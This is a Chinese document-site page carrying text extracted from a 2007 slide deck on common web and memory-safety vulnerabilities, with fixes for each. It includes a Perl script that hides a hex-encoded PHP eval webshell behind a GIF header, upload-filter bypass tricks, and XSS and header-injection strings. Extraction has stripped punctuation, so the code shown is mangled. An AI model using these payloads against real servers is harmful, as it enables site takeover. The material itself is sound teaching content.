常见安全漏洞类型与分析.ppt_第1页
常见安全漏洞类型与分析.ppt_第2页
常见安全漏洞类型与分析.ppt_第3页
常见安全漏洞类型与分析.ppt_第4页
常见安全漏洞类型与分析.ppt_第5页
已阅读5页,还剩35页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

常见漏洞类型与分析 信息安全部吴翰清2007 06 5 提纲 概述头号大敌 SQLInjection被忽视的巨大威胁 跨站脚本漏洞文件上传 一击必杀权限问题盲区 来自HTTP头的安全隐患与WebServer结合产生的漏洞什么样的漏洞 才叫漏洞 十年的来的顽症 缓冲区溢出攻与防 操作系统针对缓冲区溢出的保护漏洞挖掘方法简介 概述 Web安全是互联网安全的重中之重Web安全的特点与实现的语言有密切的关系 ASP PHP JSP 与数据库有紧密联系 头号大敌 SQLInjection 定义 由于程序中对用户输入检查不严格 用户可以提交一段数据库查询代码 根据程序返回的结果 获得某些他想得知的数据 这就是所谓的SQLInjection 即SQL注入 SQLInjection的本质 对于输入检查不充分 导致SQL语句将用户提交的非法数据当作语句的一部分来执行 示例 Stringuser request getParameter username Stringpass request getParameter password Stringquery SELECTidFROMusersWHEREusername user ANDpassword pass Statementstmt con createStatement query ResultSetrs con executeQuery query if rs next 登录成功intid rs getInt 1 else 登录失败 正确的编程方法 Stringuser request getParameter username Stringpass request getParameter password Stringquery SELECTidFROMusersWHEREusername ANDpassword PreparedStatementstmt con prepareStatement query stmt setString 1 user stmt setString 2 pass ResultSetrs stmt executeQuery 被忽视的巨大威胁 跨站脚本漏洞 XSS CrossSiteScript XST HTMLHijacking 浏览器客户端的攻击 常常与XSS相结合 国际站XST窃取任意用户密码 在发布产品页面构造恶意html语句 发布后 如果某个用户查看了此产品 则会自动修改该用户的注册邮箱 或者其他member信息 ImageUploadXSS anexampleofsomethingyoumighttestfor Soyouuploadthisfile http ha ckers org image xss onerror alert XSS a jpgThisendsupmakingthepagelooklike 解决方案 输出时使用htmlencode转义字符 使得成为纯文本输出输入处做filter 过滤可执行的html代码 文件上传 一击必杀 文件上传漏洞 对可上传的文件类型控制不严格 导致可以上传可执行的脚本 从而导致服务器被控制 FCKEditor文件上传漏洞 FCKEditor是一款有多个语言版本的 asp cgi aspx php cfm 的在线编辑的class 很多web系统都使用了这个class 包括taobao 中文站等许多地方 editor filemanager browser default connectors php config php行35 36 Config AllowedExtensions File array 允许的上穿类型 Config DeniedExtensions File array php php3 php5 phtml asp aspx ascx jsp cfm cfc pl bat exe dll reg cgi 禁止上传的类型 editor filemanager browser default connectors php commands phpfunctionFileUpload resourceType currentFolder sExtension substr sFileName strrpos sFileName 1 sExtension strtolower sExtension 得到文件的后缀 以 为标志取最后1个 global Config arAllowed Config AllowedExtensions resourceType arDenied Config DeniedExtensions resourceType if count arAllowed 0 in array sExtension arAllowed 上传注意它保存的文件直接用的 sFilePath sServerDir sFileName 而没有使用 sExtension为后缀 导致在win下在上传文件后面加个 来突破 未测试 3 BlackListorWhiteList 如果我们把AllowedExtensions DeniedExtensions的设置 反 一下 Config AllowedExtensions File array rar zip 允许的上穿类型 Config DeniedExtensions File array 禁止上传的类型把设置DeniedExtensions改为设置AllowedExtensions 就不会出现上面的漏洞了 不过这样在某些情况下 照样可以突破 问题还是出在这里 move uploaded file oFile tmp name sFilePath 上传注意它保存的文件直接用的 sFilePath sServerDir sFileName 而没有使用 sExtension为后缀在apache下 因为 apache文件名解析缺陷漏洞 3 而出现漏洞 F文件上传漏洞 Getimagesize bypass 先看看gif文件头 00000000h 474946383961AB02E503B30000008000 GIF89a GIF89a size 0 size 1 size 0 x size 1 AB02 683x E503 997 构造如下perl usr bin perl TheScriptcouldpassgetimagesize gifsize 99x98pixels gifhead x47 x49 x46 x38 x39 x61 GIF89a x63 x00 99 x62 x00 98 phpcode x3c x3f x70 x68 x70 x20 x40 x65 x76 x61 x6c x28 x24 x5f x50 x4f x53 x54 x5b x63 x5d x29 x3f x3e print gifhead phpcode 文件上传漏洞的解决办法 使用正确的函数白名单与黑名单禁止上传目录有执行脚本的权限不要在url中显示上传文件的相对路径 权限问题 Auth Bypass越权访问 Elearning系统不经授权充值问题 其中userid password ROLE ORGID SITEID 的新值为无效构造值 正确的做法 检查每个操作是否进行授权 授权给谁 盲区 来自HTTP头的安全隐患 HTTP头的注射 Cookie等 Discuz4 x 5 0 0 1SqlInjection http query orascii substring sql s num 1 ccheck X Forwarded For http query 正确的做法 不要信任来自http头中的取的字段 与WebServer结合产生的漏洞 Apache文件名解析漏洞IISPUT上传漏洞 暴力破解 验证码也可以被暴力破解 暴力破解帐户锁定 对暴力破解尝试进行帐户锁定风险 可能会造成恶意尝试锁定帐户 Apache文件名解析漏洞 Phpshell php rar rar rar rar rar rar rar rar rarApache只会解析第一个 IISPUT上传漏洞 PUT alert txtHTTP 1 1Host Content Length 69HTTP 1 1100ContinueTherearesomesecureproblemsinyousystem pleasefixit ZwelLHTTP 1 1200OK 什么样的漏洞 才叫漏洞 Web迅雷activex远程执行漏洞WEB讯雷组件的名称 ThunderServer webThunder 1 可以采用JS代码ActiveXObject ThunderServer webThunder 1 来激活讯雷的组件 其中的关键函数包括 SetBrowserWindowData 新建浏览器窗口 SetConfig 设置WEB讯雷 HideBrowserWindow 隐藏浏览器 AddTask 添加下载任务 SearchTask 搜索任务 得到任务ID 文件下载状态等详情 OpenFile 根据任务ID 打开文件 十年的来的顽症 缓冲区溢出 栈溢出 控制返回地址 ebp 4 堆溢出 覆盖堆结构 2次free 覆盖堆中的指针 整数溢出 由于整数的解析欺骗造成的基于堆栈的溢出 整数溢出 boolCBlackListMessage MatchMessage LPCTSTRszMsg intnLen CString 3 在这里当nLen由外界传入 这里是取的消息的文字长度 是可信的 这里姑且不讨论是否可以利用 先来看这个编程的问题 nLen是一个int型 当nLen的值为0 x80000000时 进行比较 将被解析为一个负数 从而可以绕过 1 处的判断 使得pCharBuf只分配了513个字节大小的内存 而在之后的拷贝lstrcpyn中 会将szMsg拷贝0 x80000000 1个字符到pCharBuf

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论